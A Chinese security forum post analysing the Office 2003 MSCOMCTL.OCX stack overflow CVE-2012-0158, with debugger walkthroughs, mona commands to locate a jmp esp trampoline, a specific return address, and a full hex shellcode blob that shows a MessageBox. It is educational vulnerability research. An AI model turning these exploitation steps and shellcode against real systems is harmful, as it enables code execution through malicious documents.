吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 9403|回复: 18
收起左侧

[漏洞分析] CVE-2012-0158 Office 漏洞简单分析

  [复制链接]
比海更深 发表于 2019-11-15 15:19
本帖最后由 比海更深 于 2019-11-15 15:20 编辑

新人的第一个漏洞分析报告,现在拿出来和大家分享,如有不足,轻喷。

Microsoft Office Word 2003(CVE-2012-0158)漏洞分析报告

软件名称:Microsoft Office Word 2003 SP3
软件版本:11.8322.8172
漏洞模块:MSCOMCTL.OCX
模块版本:2.0.0.0

操作系统:Windows 7/2009/6.1
漏洞编号:CVE-2012-0158
危害等级:中危
漏洞类型:栈溢出
威胁类型:本地



目录
1.      软件简介... 2
2.      漏洞成因... 2
3.      漏洞分析... 2
    3.1.漏洞分析环境与工具……………………………………………………………………2
    3.2.获取POC…………………………………………………………………………………2
    3.3复现漏洞…………………………………………………………………………………2
    3.4.分析漏洞…………………………………………………………………………………2
    3.5.漏洞利用…………………………………………………………………………………2
1.   软件简介
Microsoft Office Word 2003,是一种字处理程序,可使文档的创建、共享和阅读变得更加容易。2.   漏洞成因
CVE-2012-0158漏洞出现在MSCOMCTL.OCX,是微软Office系列办公软件在处理MSCOMCTL的ListView控件的时候由于检查失误,导致攻击者可以通过构造恶意文档执行任意代码。
3.    漏洞分析
3.1漏洞分析环境与工具操作系统: Window 7 专业版 (32 位)
软件: office 2003 sp3
工具: OllyDbg, windbg, IDA Pro
OfficeMalScanner,Immunity Debugger

3.2获取POC网络,论坛, Metasploit
https://www.exploit-db.com/
https://www.securityfocus.com/

3.3复现漏洞
搭建漏洞环境,执行漏洞poc安装 office 2003 sp3
执行 poc 以及样本(在执行时,如果使用 OD 附加,需要把原本忽略的异常都恢复)
1.jpg
                              
去除OD插件的跳过异常
2.jpg
执行poc效果:
3.jpg



3.4分析漏洞
调试漏洞,定位漏洞触发点,分析漏洞成因
① 定位漏洞触发模块
4.jpg
分析溢出点附近堆栈,溢出点下面的堆栈一般是刚刚调用的函数的上一层函数堆栈,溢出后 可能已经破坏,溢出点上面的堆栈一般是刚刚执行的函数堆栈,可以发现有一个地址 275C8A0A,可以看出这个地址是 MSCOMCTL 模块中的地址,由此判断刚刚执行的函数中执
行了 MSCOMCTL 模块中的代码
   5.jpg

② 定位漏洞函数
动态调试溢出点所在的函数,可以跟踪到是 CALL 275C876D 时出的问题
6.jpg
  
   使用 IDA 定位到漏洞函数 MSCOMCTL.ocx 中的 275C876D 函数
7.jpg

   重新动态调试,观察CALL 275C876D的参数
8.jpg


③ 分析漏洞成因
获取 shellcode 长度之后,在文件中搜索定位长度
发现有两个长度,猜测一个是 dwBytes,一个是 v7

9.jpg

修改一个字节,再次动态调试测试,可以发现参数没变,局部变量变了,即文件中第一个 8282是参数中的长度,第二个 8282 是函数内读取的长度,两个长度都是在文件中的。所以可以 肆无忌惮的溢出了
10.jpg
  
OD 动态调试,可以发现 83 所在位置是局部变量的值
   11.jpg
经过调试和分析之后,可以总结一下
CVE-2012-0158 漏洞触发在 MSCOMCTL.ocx 模块中,漏洞成因是在读取数据时,读取的长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出。


如果有 MSCOMCTL.ocx 的符号,可以知道漏洞函数是:
12.jpg

poc shellcode 结构
13.jpg


3.5漏洞利用
漏洞利用的步骤

  • 分析和设计漏洞 shellcode 的结构
  • 在运行的程序中寻找跳板指令地址jmp esp
         使用 ImmunityDebugger+mona.py 为例:
         下载安装 ImmunityDebugger
         下载 mona.py,放入 PyCommands 目录中


①寻找跳板指令
运行 ImmunityDebugger,附加程序WINWORD.exe,输入命令!mona modules遍历模块
14.jpg


查找无安全检查且是系统DLL的模块(4个false,1个True)
15.jpg

得到模块名后输入命令!mona find -s "\xff\xe4" -m msvbvm60.dll在该模块内查找跳板指令
16.jpg

这里选择729a0535作为跳板指令(该条指令权限是较高)
将溢出点41414141更换为跳板指令729a0535,注意是小端存储


17.jpg


②编写ShellCode并注入
由于Word文档的文件格式是字符,因此输入的ShellCode也需要是字符格式,而不是字节,需在指令上加上\r\n,程序执行时会把字符翻译成代码执行


编写Shellcode步骤如下:
1. 获取 Kernel32 基地址
2. 获取 GetProcAddress 地址
3. 获取 LoadLibraryA 地址
4. 获取 user32 基地址
5. 获取 MessageBoxA 地址
6. 调用 MessageBoxA 地址
7. 获取 ExitProcess 地址
8. 调用 ExitProcess



ShellCode二进制码:
9090909090E9CF00000090558BEC83EC04C745FC000000005351528B750833C933C08A040E84C074168B5DFCC1E3198B55FCC1EA070BDA03D8895DFC41EBE38B5D0C8B55FC33C03BDA7505B8010000005A595B8BE55DC2080056648B35300000008B760C8B761C8B368B46085EC3558BEC83EC0C528B550C8B723C8D34328B76788D34328B7E1C8D3C3A897DFC8B7E208D3C3A897DF88B7E248D3C3A897DF433C9EB01418B75F88B348E8B550C8D3432FF750856E852FFFFFF85C074E68B75F433FF668B3C4E8B75FC8B3CBE8B550C8D043A5A8BE55DC20800558BEC83EC30EB18909090909090909090909090909090909090909090909090EB127573657233320048656C6C6F203135504200E8000000005883E8178945D483C0078945D8E835FFFFFF8945DC506885DFAFBBE83CFFFFFFFF75DC688732D8C0E82FFFFFFF8945E433DB5353FF75D4FF55E48945E850686A0A381EE814FFFFFF8945EC6A006A00FF75D86A00FF55ECFF75DC686389D14FE8F8FEFFFF6A00FFD0C3


这段代码在执行完跳板指令后将弹出Hello 15pb,随后结束程序进程
18.jpg

至此,分析完毕。

免费评分

参与人数 4威望 +3 吾爱币 +12 热心值 +4 收起 理由
willJ + 3 + 9 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
wangqq99 + 1 + 1 我很赞同!
千城忆梦 + 1 + 1 用心讨论,共获提升!
secjia + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

2Burhero 发表于 2019-11-15 15:34
厉害了,。。。
NanKeYM 发表于 2019-11-15 15:36
jxncyk 发表于 2019-11-15 16:20
jswxtj 发表于 2019-11-15 16:43
太专业 了  
bcdy594 发表于 2019-11-15 17:35
大神写个利用工具给我们小白用么?
SRE-unicode 发表于 2019-11-15 22:40
学习了 谢谢
wangqq99 发表于 2019-11-16 14:18
学习了,谢谢
idiots 发表于 2019-11-16 17:12
嗯,栈溢出
wu19910112 发表于 2019-11-16 17:42
支持下楼主
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 14:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表